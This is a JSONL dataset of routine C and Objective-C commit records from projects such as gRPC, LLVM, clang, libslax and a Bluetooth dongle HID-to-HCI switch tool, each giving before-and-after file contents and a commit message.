{"commit":"bf8777dc307e2938a7d7e02ff761580b9917f529","old_file":"src\/core\/lib\/gprpp\/optional.h","new_file":"src\/core\/lib\/gprpp\/optional.h","old_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n#define GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n\nnamespace grpc_core {\n\n\/* A make-shift alternative for absl::Optional. This can be removed in favor of\n * that once absl dependencies can be introduced. *\/\ntemplate <typename T>\nclass Optional {\n public:\n  void set(const T& val) {\n    value_ = val;\n    set_ = true;\n  }\n\n  bool has_value() { return set_; }\n\n  void reset() { set_ = false; }\n\n  T value() { return value_; }\n\n private:\n  T value_;\n  bool set_ = false;\n};\n\n} \/* namespace grpc_core *\/\n\n#endif \/* GRPC_CORE_LIB_GPRPP_OPTIONAL_H *\/\n","new_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n#define GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n\nnamespace grpc_core {\n\n\/* A make-shift alternative for absl::Optional. This can be removed in favor of\n * that once absl dependencies can be introduced. *\/\ntemplate <typename T>\nclass Optional {\n public:\n  void set(const T& val) {\n    value_ = val;\n    set_ = true;\n  }\n\n  bool has_value() const { return set_; }\n\n  void reset() { set_ = false; }\n\n  T value() const { return value_; }\n\n private:\n  T value_;\n  bool set_ = false;\n};\n\n} \/* namespace grpc_core *\/\n\n#endif \/* GRPC_CORE_LIB_GPRPP_OPTIONAL_H *\/\n","subject":"Add const qualifiers to member methods in Optional","message":"Add const qualifiers to member methods in Optional\n","lang":"C","license":"apache-2.0","repos":"jboeuf\/grpc,ejona86\/grpc,stanley-cheung\/grpc,ctiller\/grpc,sreecha\/grpc,ctiller\/grpc,nicolasnoble\/grpc,sreecha\/grpc,ctiller\/grpc,donnadionne\/grpc,donnadionne\/grpc,sreecha\/grpc,ctiller\/grpc,ctiller\/grpc,pszemus\/grpc,muxi\/grpc,jtattermusch\/grpc,vjpai\/grpc,jboeuf\/grpc,vjpai\/grpc,grpc\/grpc,firebase\/grpc,sreecha\/grpc,jtattermusch\/grpc,firebase\/grpc,ctiller\/grpc,ejona86\/grpc,sreecha\/grpc,firebase\/grpc,muxi\/grpc,grpc\/grpc,jboeuf\/grpc,firebase\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,donnadionne\/grpc,vjpai\/grpc,sreecha\/grpc,ejona86\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,sreecha\/grpc,jtattermusch\/grpc,ctiller\/grpc,firebase\/grpc,stanley-cheung\/grpc,muxi\/grpc,muxi\/grpc,muxi\/grpc,firebase\/grpc,jtattermusch\/grpc,ejona86\/grpc,pszemus\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,vjpai\/grpc,firebase\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,donnadionne\/grpc,ejona86\/grpc,stanley-cheung\/grpc,carl-mastrangelo\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,vjpai\/grpc,ejona86\/grpc,vjpai\/grpc,pszemus\/grpc,carl-mastrangelo\/grpc,ctiller\/grpc,pszemus\/grpc,muxi\/grpc,jboeuf\/grpc,jtattermusch\/grpc,sreecha\/grpc,nicolasnoble\/grpc,ejona86\/grpc,vjpai\/grpc,grpc\/grpc,nicolasnoble\/grpc,jboeuf\/grpc,nicolasnoble\/grpc,vjpai\/grpc,ctiller\/grpc,muxi\/grpc,pszemus\/grpc,grpc\/grpc,donnadionne\/grpc,donnadionne\/grpc,ctiller\/grpc,sreecha\/grpc,grpc\/grpc,nicolasnoble\/grpc,firebase\/grpc,stanley-cheung\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,carl-mastrangelo\/grpc,nicolasnoble\/grpc,pszemus\/grpc,pszemus\/grpc,vjpai\/grpc,donnadionne\/grpc,donnadionne\/grpc,firebase\/grpc,ejona86\/grpc,ctiller\/grpc,carl-mastrangelo\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,firebase\/grpc,grpc\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,ejona86\/grpc,jboeuf\/grpc,vjpai\/grpc,pszemus\/grpc,nicolasnoble\/grpc,ejona86\/grpc,stanley-cheung\/grpc,firebase\/grpc,stanley-cheung\/grpc,grpc\/grpc,vjpai\/grpc,sreecha\/grpc,carl-mastrangelo\/grpc,jtattermusch\/grpc,sreecha\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,jtattermusch\/grpc,muxi\/grpc,nicolasnoble\/grpc,pszemus\/grpc,vjpai\/grpc,jboeuf\/grpc,pszemus\/grpc,carl-mastrangelo\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,pszemus\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,ejona86\/grpc,grpc\/grpc,grpc\/grpc,jboeuf\/grpc,jtattermusch\/grpc,muxi\/grpc,jtattermusch\/grpc,donnadionne\/grpc,grpc\/grpc,jboeuf\/grpc,donnadionne\/grpc,carl-mastrangelo\/grpc,firebase\/grpc,sreecha\/grpc,ctiller\/grpc,pszemus\/grpc,ejona86\/grpc"}
{"commit":"669ec93efe7eafc246bccb0b0768ad0952b3b8c4","old_file":"include\/myr\/compiler.h","new_file":"include\/myr\/compiler.h","old_contents":"\/*\n * Myr C Utils library\n *\n * Written 2015 by Rickard Närström <rickard@narstrom.se>\n *\n * To the extent possible under law, the author(s) have dedicated all copyright\n * and related and neighboring rights to this software to the public domain worldwide.\n * This software is distributed without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication along\n * with this software. If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\/\n#ifndef MYR_COMPILER_H\n#define MYR_COMPILER_H\n\n#ifndef __has_attribute\n# define __has_attribute(x) 0\n#endif\n\n#if defined(__GNUC__) || __has_attribute(noreturn)\n# define NORETURN __attribute__((noreturn))\n#else\n# define NORETURN\n#endif\n\n#if defined(__GNUC__) || __has_attribute(format)\n# define FORMAT(archtype, string_index, first_to_check) __attribute__((format(archtype, string_index, first_to_check)))\n#else\n# define FORMAT(archtype, string_index, first_to_check)\n#endif\n\n#endif\n","new_contents":"\/*\n * Myr C Utils library\n *\n * Written 2015 by Rickard Närström <rickard@narstrom.se>\n *\n * To the extent possible under law, the author(s) have dedicated all copyright\n * and related and neighboring rights to this software to the public domain worldwide.\n * This software is distributed without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication along\n * with this software. If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\/\n#ifndef MYR_COMPILER_H\n#define MYR_COMPILER_H\n\n#ifndef __has_attribute\n# define __has_attribute(x) 0\n#endif\n\n#if __STDC_VERSION__ >= 201112L\n# include <stdnoreturn.h>\n# define NORETURN noreturn\n#elif defined(__GNUC__) || __has_attribute(noreturn)\n# define NORETURN __attribute__((noreturn))\n#else\n# define NORETURN\n#endif\n\n#if defined(__GNUC__) || __has_attribute(format)\n# define FORMAT(archtype, string_index, first_to_check) __attribute__((format(archtype, string_index, first_to_check)))\n#else\n# define FORMAT(archtype, string_index, first_to_check)\n#endif\n\n#endif\n","subject":"Use standard C11 noreturn if avaiable.","message":"Use standard C11 noreturn if avaiable.\n","lang":"C","license":"unlicense","repos":"riccetn\/myr-cutils"}
{"commit":"8f944706b21598c2bc1f9f9dfc5d36bb4ddba395","old_file":"solutions\/uri\/1006\/1006.c","new_file":"solutions\/uri\/1006\/1006.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    float a, b, c;\n\n    scanf(\"%f\", &a);\n    scanf(\"%f\", &b);\n    scanf(\"%f\", &c);\n\n    printf(\"MEDIA = %.1f\\n\", (a * 2.0 + b * 3.0 + c * 5.0) \/ 10.0);\n\n    return 0;\n}\n","subject":"Solve Average 2 in c","message":"Solve Average 2 in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"5e6b1eab679452b24578e6f6c9594ac3b88b3b64","old_file":"ObjectDoc\/ObjectDoc.h","new_file":"ObjectDoc\/ObjectDoc.h","old_contents":"\/*\n * Author: Landon Fuller <landonf@plausible.coop>\n *\n * Copyright (c) 2013 Plausible Labs Cooperative, Inc.\n * All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"PLClangSourceIndex.h\"\n#import \"PLClangTranslationUnit.h\"","new_contents":"\/*\n * Author: Landon Fuller <landonf@plausible.coop>\n *\n * Copyright (c) 2013 Plausible Labs Cooperative, Inc.\n * All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"PLClang.h\"\n","subject":"Use PLClang.h in umbrella header","message":"Use PLClang.h in umbrella header\n\nThis includes the error codes and error domain.\n","lang":"C","license":"mit","repos":"landonf\/objectdoc,landonf\/objectdoc"}
{"commit":"48eda9d8410404db35d51a3807ae8ac8a52d7261","old_file":"Source\/UnrealCV\/Private\/libs\/cnpy.h","new_file":"Source\/UnrealCV\/Private\/libs\/cnpy.h","old_contents":"\/\/ Copyright (C) 2011  Carl Rogers\n\/\/ Released under MIT License\n\/\/ Simplied by Weichao Qiu (qiuwch@gmail.com) from https:\/\/github.com\/rogersce\/cnpy\n#pragma once\n#include <vector>\n\nnamespace cnpy {\n\ttemplate<typename T>\n\tstd::vector<char> create_npy_header(const T* data, const std::vector<int> shape);\n\n\ttemplate<typename T>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const T rhs) {\n\t\t\/\/write in little endian\n\t\tfor (char byte = 0; byte < sizeof(T); byte++) {\n\t\t\tchar val = *((char*)&rhs + byte);\n\t\t\tlhs.push_back(val);\n\t\t}\n\t\treturn lhs;\n\t}\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const std::string rhs);\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const char* rhs);\n}\n","new_contents":"\/\/ Copyright (C) 2011  Carl Rogers\n\/\/ Released under MIT License\n\/\/ Simplied by Weichao Qiu (qiuwch@gmail.com) from https:\/\/github.com\/rogersce\/cnpy\n#pragma once\n#include <vector>\n#include <string>\n\nnamespace cnpy {\n\ttemplate<typename T>\n\tstd::vector<char> create_npy_header(const T* data, const std::vector<int> shape);\n\n\ttemplate<typename T>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const T rhs) {\n\t\t\/\/write in little endian\n\t\tfor (char byte = 0; byte < sizeof(T); byte++) {\n\t\t\tchar val = *((char*)&rhs + byte);\n\t\t\tlhs.push_back(val);\n\t\t}\n\t\treturn lhs;\n\t}\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const std::string rhs);\n\ttemplate<>\n\tstd::vector<char>& operator+=(std::vector<char>& lhs, const char* rhs);\n}\n","subject":"Include <string> to fix a compile issue in 4.12 and 4.13.","message":"Include <string> to fix a compile issue in 4.12 and 4.13.\n","lang":"C","license":"mit","repos":"unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv,unrealcv\/unrealcv"}
{"commit":"248c9fb0418e071786b2b91992b5fe711d79f021","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k5\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k6\"\n","subject":"Update driver version to 5.04.00-k6","message":"qla4xxx: Update driver version to 5.04.00-k6\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nReviewed-by: Mike Christie <6fe105eefab41990d7ec714c6c25ade3095cdb48@cs.wisc.edu>\nSigned-off-by: Christoph Hellwig <923f7720577207a44b32e59bbfbea59d27f1ae8e@lst.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"e36d31edd6020989bdb39f82dea54ef0e747e994","old_file":"test\/Driver\/systemz-march.c","new_file":"test\/Driver\/systemz-march.c","old_contents":"\/\/ Check that -march works for all supported targets.\n\n\/\/ RUN: not %clang -target s390x -S -emit-llvm -march=z9 %s -o - 2>&1 | FileCheck --check-prefix=CHECK-Z9 %s\n\/\/ RUN: %clang -target s390x -S -emit-llvm -march=z10 %s\n\/\/ RUN: %clang -target s390x -S -emit-llvm -march=z196 %s\n\/\/ RUN: %clang -target s390x -S -emit-llvm -march=zEC12 %s\n\n\/\/ CHECK-Z9: error: unknown target CPU 'z9'\n\/\/ CHECK-Z10: \"-target-cpu\" \"z10\"\n\/\/ CHECK-Z196: \"-target-cpu\" \"z196\"\n\/\/ CHECK-ZEC12: \"-target-cpu\" \"zEC12\"\n\nint x;\n","new_contents":"\/\/ Check that -march works for all supported targets.\n\n\/\/ RUN: not %clang -target s390x -S -emit-llvm -march=z9 %s -o - 2>&1 | FileCheck --check-prefix=CHECK-Z9 %s\n\/\/ RUN: %clang -target s390x -### -S -emit-llvm -march=z10 %s 2>&1 | FileCheck --check-prefix=CHECK-Z10 %s\n\/\/ RUN: %clang -target s390x -### -S -emit-llvm -march=z196 %s 2>&1 | FileCheck --check-prefix=CHECK-Z196 %s\n\/\/ RUN: %clang -target s390x -### -S -emit-llvm -march=zEC12 %s 2>&1 | FileCheck --check-prefix=CHECK-ZEC12 %s\n\n\/\/ CHECK-Z9: error: unknown target CPU 'z9'\n\/\/ CHECK-Z10: \"-target-cpu\" \"z10\"\n\/\/ CHECK-Z196: \"-target-cpu\" \"z196\"\n\/\/ CHECK-ZEC12: \"-target-cpu\" \"zEC12\"\n\nint x;\n","subject":"Fix test to actually check things.","message":"Fix test to actually check things.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@186701 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"659d917acd2f5da137e506784acc3862225e7dad","old_file":"Classes\/NAPlaybackIndicatorView.h","new_file":"Classes\/NAPlaybackIndicatorView.h","old_contents":"\/\/\n\/\/  NAPlaybackIndicatorView.h\n\/\/  PlaybackIndicator\n\/\/\n\/\/  Created by Yuji Nakayama on 1\/27\/14.\n\/\/  Copyright (c) 2014 Yuji Nakayama. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface NAPlaybackIndicatorView : UIView\n\n- (void)startAnimating;\n- (void)stopAnimating;\n\n@property (nonatomic, readonly, getter=isAnimating) BOOL animating;\n\n@end\n","new_contents":"\/\/\n\/\/  NAPlaybackIndicatorView.h\n\/\/  PlaybackIndicator\n\/\/\n\/\/  Created by Yuji Nakayama on 1\/27\/14.\n\/\/  Copyright (c) 2014 Yuji Nakayama. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface NAPlaybackIndicatorView : UIView\n\n\/**\n Starts the oscillating animation of the bars.\n *\/\n- (void)startAnimating;\n\n\/**\n Stop the oscillating animation of the bars.\n *\/\n- (void)stopAnimating;\n\n\/**\n Whether the receiver is animating.\n *\/\n@property (nonatomic, readonly, getter=isAnimating) BOOL animating;\n\n@end\n","subject":"Add documentation comments for method","message":"Add documentation comments for method\n","lang":"C","license":"mit","repos":"yujinakayama\/NAKPlaybackIndicatorView"}
{"commit":"ddb5650f2820329f818cc57859610db1ccc45434","old_file":"src\/hid2hci.c","new_file":"src\/hid2hci.c","old_contents":"#include <stdio.h>\n#include <libusb-1.0\/libusb.h>\n\nint main (int argc, char ** argv) {\n  char data[] = { 0x01, 0x05, 0, 0, 0, 0, 0, 0, 0 };\n  libusb_init(NULL);\n  libusb_device_handle* h = libusb_open_device_with_vid_pid(NULL, 0x0a12, 0x100b);\n  if (!h) {\n    printf(\"No device in HID mode found\\n\");\n  } else {\n    libusb_detach_kernel_driver(h, 0);\n    printf(\"%d\\n\", libusb_claim_interface(h, 0));\n    libusb_control_transfer(h, LIBUSB_ENDPOINT_OUT|LIBUSB_REQUEST_TYPE_CLASS|LIBUSB_RECIPIENT_INTERFACE, LIBUSB_REQUEST_GET_CONFIGURATION, 0x0301, 0, data, 9, 10000);\n    libusb_release_interface(h, 0);\n    libusb_close(h);\n  }\n  libusb_exit(NULL);\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <libusb-1.0\/libusb.h>\n\nint main (int argc, char ** argv) {\n  char data[] = { 0x01, 0x05, 0, 0, 0, 0, 0, 0, 0 };\n  libusb_init(NULL);\n  \/* using the default pskeys, devices from the factory are a12:100d in HID mode *\/\n  libusb_device_handle* h = libusb_open_device_with_vid_pid(NULL, 0x0a12, 0x100b);\n  if (!h)\n    \/* Alternatively, a12:100c can be set by the dongler to prevent CSR's software\n       stack from auto-switching to HCI mode *\/\n    h = libusb_open_device_with_vid_pid(NULL, 0x0a12, 0x100c);\n  if (!h) {\n    printf(\"No device in HID mode found\\n\");\n  } else {\n    libusb_detach_kernel_driver(h, 0);\n    printf(\"This should say 0: %d\\n\", libusb_claim_interface(h, 0));\n    libusb_control_transfer(h, LIBUSB_ENDPOINT_OUT|LIBUSB_REQUEST_TYPE_CLASS|LIBUSB_RECIPIENT_INTERFACE, LIBUSB_REQUEST_SET_CONFIGURATION, 0x0301, 0, data, 9, 10000);\n    libusb_release_interface(h, 0);\n    libusb_close(h);\n  }\n  libusb_exit(NULL);\n  return 0;\n}\n","subject":"Fix the constants so it will work correctly. Also add the possibility of a different Product ID so the dongles can be set to a mode that Windows machines with the CSR drivers won't switch them to HCI mode.","message":"Fix the constants so it will work correctly.  Also add the possibility of a different Product ID so\nthe dongles can be set to a mode that Windows machines with the CSR drivers won't switch them to HCI mode.\n","lang":"C","license":"mit","repos":"wmertens\/textblade-dongler,wmertens\/textblade-dongler"}
{"commit":"849184df828508bccc40cf609497b571ce95831d","old_file":"include\/llvm\/CodeGen\/GlobalISel\/CallLowering.h","new_file":"include\/llvm\/CodeGen\/GlobalISel\/CallLowering.h","old_contents":"","new_contents":"\/\/===-- llvm\/CodeGen\/GlobalISel\/CallLowering.h - Call lowering --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ This file describes how to lower LLVM calls to machine code calls.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_GLOBALISEL_CALLLOWERING_H\n#define LLVM_CODEGEN_GLOBALISEL_CALLLOWERING_H\n\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/IR\/Function.h\"\n\nnamespace llvm {\n\/\/ Forward declarations.\nclass MachineIRBuilder;\nclass TargetLowering;\nclass Value;\n\nclass CallLowering {\n  const TargetLowering *TLI;\n protected:\n  \/\/\/ Getter for generic TargetLowering class.\n  const TargetLowering *getTLI() const {\n    return TLI;\n  }\n\n  \/\/\/ Getter for target specific TargetLowering class.\n  template <class XXXTargetLowering>\n    const XXXTargetLowering *getTLI() const {\n    return static_cast<const XXXTargetLowering *>(TLI);\n  }\n public:\n  CallLowering(const TargetLowering *TLI) : TLI(TLI) {}\n  virtual ~CallLowering() {}\n  \n  \/\/\/ This hook must be implemented to lower outgoing return values, described\n  \/\/\/ by \\p Val, into the specified virtual register \\p VReg.\n  \/\/\/ This hook is used by GlobalISel.\n  \/\/\/\n  \/\/\/ \\return True if the lowering succeeds, false otherwise.\n  virtual bool LowerReturn(MachineIRBuilder &MIRBuilder, const Value *Val,\n                           unsigned VReg) const {\n    return false;\n  }\n\n  \/\/\/ This hook must be implemented to lower the incoming (formal)\n  \/\/\/ arguments, described by \\p Args, for GlobalISel. Each argument\n  \/\/\/ must end up in the related virtual register described by VRegs.\n  \/\/\/ In other words, the first argument should end up in VRegs[0],\n  \/\/\/ the second in VRegs[1], and so on.\n  \/\/\/ \\p MIRBuilder is set to the proper insertion for the argument\n  \/\/\/ lowering.\n  \/\/\/\n  \/\/\/ \\return True if the lowering succeeded, false otherwise.\n  virtual bool\n  LowerFormalArguments(MachineIRBuilder &MIRBuilder,\n                       const Function::ArgumentListType &Args,\n                       const SmallVectorImpl<unsigned> &VRegs) const {\n    return false;\n  }\n};\n} \/\/ End namespace llvm.\n\n#endif\n","subject":"Add missing file in previous commit.","message":"[GlobalISel] Add missing file in previous commit.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@260923 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"bfe1120d49851c8f52e088a8dd31ac41694275ed","old_file":"libslax\/jsonwriter.h","new_file":"libslax\/jsonwriter.h","old_contents":"","new_contents":"\/*\n * $Id$\n *\n * Copyright (c) 2013, Juniper Networks, Inc.\n * All rights reserved.\n * This SOFTWARE is licensed under the LICENSE provided in the\n * ..\/Copyright file. By downloading, installing, copying, or otherwise\n * using the SOFTWARE, you agree to be bound by the terms of that\n * LICENSE.\n *\n * jsonwriter.h -- turn json-oriented XML into json text\n *\/\n\nint\nslaxJsonWriteNode (slaxWriterFunc_t func, void *data, xmlNodePtr nodep,\n\t\t       unsigned flags);\n\nint\nslaxJsonWriteDoc (slaxWriterFunc_t func, void *data, xmlDocPtr docp,\n\t\t      unsigned flags);\n\n#define JWF_ROOT\t(1<<0)\t\/* Root node *\/\n#define JWF_ARRAY\t(1<<1)\t\/* Inside array *\/\n#define JWF_NODESET\t(1<<2)\t\/* Top of a nodeset *\/\n#define JWF_PRETTY\t(1<<3)\t\/* Pretty print (newlines) *\/\n\n#define JWF_OPTIONAL_QUOTES (1<<4)\t\/* Don't use quotes unless needed *\/\n","subject":"Move JSON parser into libslax","message":"Move JSON parser into libslax\n","lang":"C","license":"bsd-3-clause","repos":"Juniper\/libslax,Juniper\/libslax,Juniper\/libslax"}
{"commit":"a5091550c09ca51c39ea0f51fc3bc519ca45afac","old_file":"test\/test_c_bindings\/test_c_bindings.c","new_file":"test\/test_c_bindings\/test_c_bindings.c","old_contents":"\/*\n** Author(s):\n**  - Cedric GESTES <gestes@aldebaran-robotics.com>\n**\n** Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n#include <qi\/qi.h>\n#include <stdio.h>\n\nint main(int argc, char **argv)\n{\n  qi_client_t *client = qi_client_create(\"simplecli\", argv[1]);\n\n  qi_message_t *message = qi_message_create();\n  qi_message_t *ret = qi_message_create();\n\n  qi_message_write_string(message, \"master.locateService::s:s\");\n  qi_message_write_string(message, \"master.listServices::{ss}:\");\n\n  qi_client_call(client, \"master.locateService::s:s\", message, ret);\n\n  char *result = qi_message_read_string(ret);\n  printf(\"locate returned: %s\\n\", result);\n  return 0;\n}\n","new_contents":"\/*\n** Author(s):\n**  - Cedric GESTES <gestes@aldebaran-robotics.com>\n**\n** Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n#include <qi\/qi.h>\n#include <stdio.h>\n\nint main(int argc, char **argv)\n{\n  char *result;\n\n  qi_client_t *client = qi_client_create(\"simplecli\", argv[1]);\n\n  qi_message_t *message = qi_message_create();\n  qi_message_t *ret = qi_message_create();\n\n  qi_message_write_string(message, \"master.locateService::s:s\");\n  qi_message_write_string(message, \"master.listServices::{ss}:\");\n\n  qi_client_call(client, \"master.locateService::s:s\", message, ret);\n\n  result = qi_message_read_string(ret);\n  printf(\"locate returned: %s\\n\", result);\n  return 0;\n}\n","subject":"Make c bindings compile on strict compilers","message":"Make c bindings compile on strict compilers\n","lang":"C","license":"bsd-3-clause","repos":"aldebaran\/libqi,aldebaran\/libqi,aldebaran\/libqi-java,vbarbaresi\/libqi,bsautron\/libqi,aldebaran\/libqi-java,aldebaran\/libqi,aldebaran\/libqi-java"}
